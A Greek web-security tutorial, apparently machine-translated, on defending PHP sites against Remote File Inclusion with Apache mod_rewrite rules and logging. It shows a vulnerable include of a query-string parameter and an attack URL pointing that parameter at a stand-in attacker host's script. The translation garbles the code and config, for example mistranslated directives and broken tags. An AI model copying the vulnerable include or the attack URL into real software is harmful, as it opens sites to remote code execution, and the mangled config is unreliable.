..


Σύνδεσμοι διαφημιζόμενων

Χρήση του mod_rewrite για να αποτρέψει την ένταξη των απομακρυσμένων αρχείων

Το άρθρο γράφτηκε από τον Claudio Garau

Μια από τις πιο συχνές επιθέσεις που υφίστανται οι ιστοσελίδες γίνεται με την προσπάθεια να συμπεριλάβει τα αρχεία που περιέχουν κακόβουλο κώδικα, θεωρητικά μιλώντας για μια επίθεση είναι πολύ απλό να εκτελέσει, να το κάνουν μόνο και μόνο επειδή ένα αρχείο που περιέχει τον κακόβουλο κώδικα και μια διεύθυνση URL για να πληκτρολογήσετε browser.

Αυτό το είδος της επίθεσης, που είναι γνωστή με τον τεχνικό όρο για την Απομακρυσμένη ένταξη αρχείου ή με το απλό ακρωνύμιο του RFI, συνδέεται συχνά με μια λειτουργία που ονομάζεται εισβολή XSA (Cross-Server Attack) συνήθως για να θέσει σε κίνδυνο την ασφάλεια των τοποθεσιών Web αν όχι το Web server, ένας παράγοντας που καθιστά ακόμη πιο επικίνδυνο να RFI.

Για να ξεκινήσει μια επίθεση RFI, ένας εισβολέας χρειάζεται μια "μνήμη" μέσα σε μια εφαρμογή που να δυσχεραίνουν την ένταξή της εξ αποστάσεως, αυτό το "χώρο" είναι γενικά μια "τρύπα" (σφάλμα) ασφάλειας που την καθιστά ευάλωτη σενάριο.
Η κλασική περίπτωση διαρροής ευαίσθητη στις RFI σχετίζεται με περνώντας την σελίδα με τα ονόματα των μεταβλητών, ένα απλό κομμάτι κώδικα σαν αυτό να θέσει σε κίνδυνο την αίτηση:

 



 # Include αρχείων μέσω μεταβλητή QueryString περάσει







 περιλαμβάνουν ($ _GET ['page'])?

 
Στον κώδικα έχουμε μια απροσδιόριστη μεταβλητή, ή μάλλον που θα καθοριστούν σύμφωνα με τις παραμέτρους που αποστέλλονται μέσω της QueryString, για παράδειγμα, εάν η διεύθυνση τοποθεσίας για τη σελίδα που περιέχει την προτεινόμενη λίστα θα είναι κάπως έτσι:
 



 http://www.sito.com/index.php?pagina=news.php

 
η τιμή της μεταβλητής $ σελίδα είναι ίσο με το "Νέα" επίθεση εναντίον αυτής της αίτησης μπορεί να εκτελεστεί με αυτόν τον τρόπο:
 



 http://www.sito.com/index.php?pagina=http://www.attacco.com/x.php

 
Το αρχείο "x.php», σε περίπτωση που μια επιτυχημένη επίθεση, θα μπορούσε να περιέχει κάθε είδους κακόβουλο κώδικα και να προκαλέσει ζημιά πολύ πιο ουσιαστική και οριστική από την απλότητα της επίθεσης μπορεί να γίνει για να σκεφτούν.

Ευτυχώς, υπάρχουν κάποιες τεχνικές άμυνας που μπορούν να χρησιμοποιηθούν για την πρόληψη τέτοιων επιθέσεων, κατά τη διάρκεια αυτής της σύντομης συζήτησης θα αναλύσουμε μία βασιζόμενη στη μονάδα επανεγγραφής URL (mod_rewrite) που παρέχεται από τον web server Apache, τα οποία μπορούν να χρησιμοποιηθούν από τις μεθόδους διαφορετικά.

Ένα από τα πιο κλασικά να στείλει τις οδηγίες σε ένα διακομιστή Web Apache είναι να χρησιμοποιήσετε ένα κλασικό. Αρχείο htaccess που πρέπει να περιλαμβάνονται στο φάκελο που θέλετε να προστατευτούν από ενδεχόμενη επίθεση.

Η πρώτη μέθοδος που χρησιμοποιούμε είναι να εισάγετε ένα απλό κανόνα στο αρχείο α. htaccess:






 RewriteCond% {QUERY_STRING} (.*)( http | https | ftp): \ / \ /(.*)







 ^(.+)$ RewriteRule - [F]



Ο κανόνας ορίζει ότι διατυπώθηκε σε μια QueryString ("{QUERY_STRING}") δεν μπορεί να περάσει τα επιχειρήματα που περιέχει τις καταλήξεις "http", "https" και "ftp" δεν έχει σημασία ποιο είναι το περιεχόμενο του προηγούμενου ή του επόμενου ("(.*)" ) παραμέτρους. Αν συμβεί αυτό ο διακομιστής web θα επιστρέψει ένα σφάλμα τύπου 403 (απαγορεύεται).

Εκείνοι που έχουν τη δυνατότητα άμεσης πρόσβασης στο αρχείο ρυθμίσεων του Apache (httpd.conf), μπορεί να εισαχθεί μέσα σε ένα ενιαίο δοχείο που περιέχει μια οδηγία μπορεί να έχουν επίδραση παρόμοια με τους κανόνες που prededentemente:






 # Βεβαιωθείτε ότι το mod_rewrite είναι διαθέσιμο







 Mod_rewrite.c> <IfModule







 # Ενεργοποίηση του κινητήρα ξαναγράψει URL

 





 RewriteEngine σε

 





 # Θέτουμε κανόνας μας ενάντια RFI







 RewriteCond% {QUERY_STRING} (.*)( http | https | ftp): \ / \ /(.*)







 # Φίλτρο από τις πιθανές αιτήσεις για την ένταξη και τη σήμανση







 # Vraibile με το περιβάλλον [E = όνομα_μεταβλητής: τιμή]







 ^(.+)$ RewriteRule - [F, E = RFI: αλήθεια]

 





 </ IfModule>

 





 # Creaimo ένα αρχείο καταγραφής των προσπαθειών για να RFI εμείς identficato







 # Χρησιμοποιώντας Προηγουμένως "μεταβλητή περιβάλλοντος"







 CustomLog / όνομα_φακέλου / rfi.log συνδυασμό env = RFI



Μετά τη σύνταξη της οδηγίας για το αρχείο ρυθμίσεων, πρέπει να αποθηκεύσετε τις αλλαγές σας και κάντε επανεκκίνηση του διακομιστή Web για να τεθεί σε ισχύ, σημειώστε ότι στο τέλος της λίστας, και έξω από το δοχείο έχει τοποθετηθεί το αίτημα για τη δημιουργία ενός αρχείου καταγραφής προορίζεται να δεχθεί τα αιτήματα από απομακρυσμένους ένταξη αρχείου, την παρακολούθηση αυτής της μικρής «κλείδωμα σημειώσεις για RFI επιθέσεις», θα ανακαλύψουμε ότι οι προσπάθειες της απομακρυσμένης Ενσωμάτωση αρχείου σε ιστοσελίδες μας είναι λιγότερο από ό, τι ασυνήθιστο πίστευαν.

Στην ίδια κατηγορία ...
E-Learning
Linux (Μάθημα) Linux (Μάθημα)
Πλήρης οδηγός για την open-source σύστημα. Από 49 €.
MySQL (Μάθημα) MySQL (Μάθημα)
Διαχείριση του open-source βάση δεδομένων. Από 39 €.
PHP (Μάθημα) PHP (Μάθημα)
Η πλήρης σειρά μαθημάτων για τη δημιουργία δυναμικών ιστοσελίδων. Από 49 €.
Σύνδεσμοι διαφημιζόμενων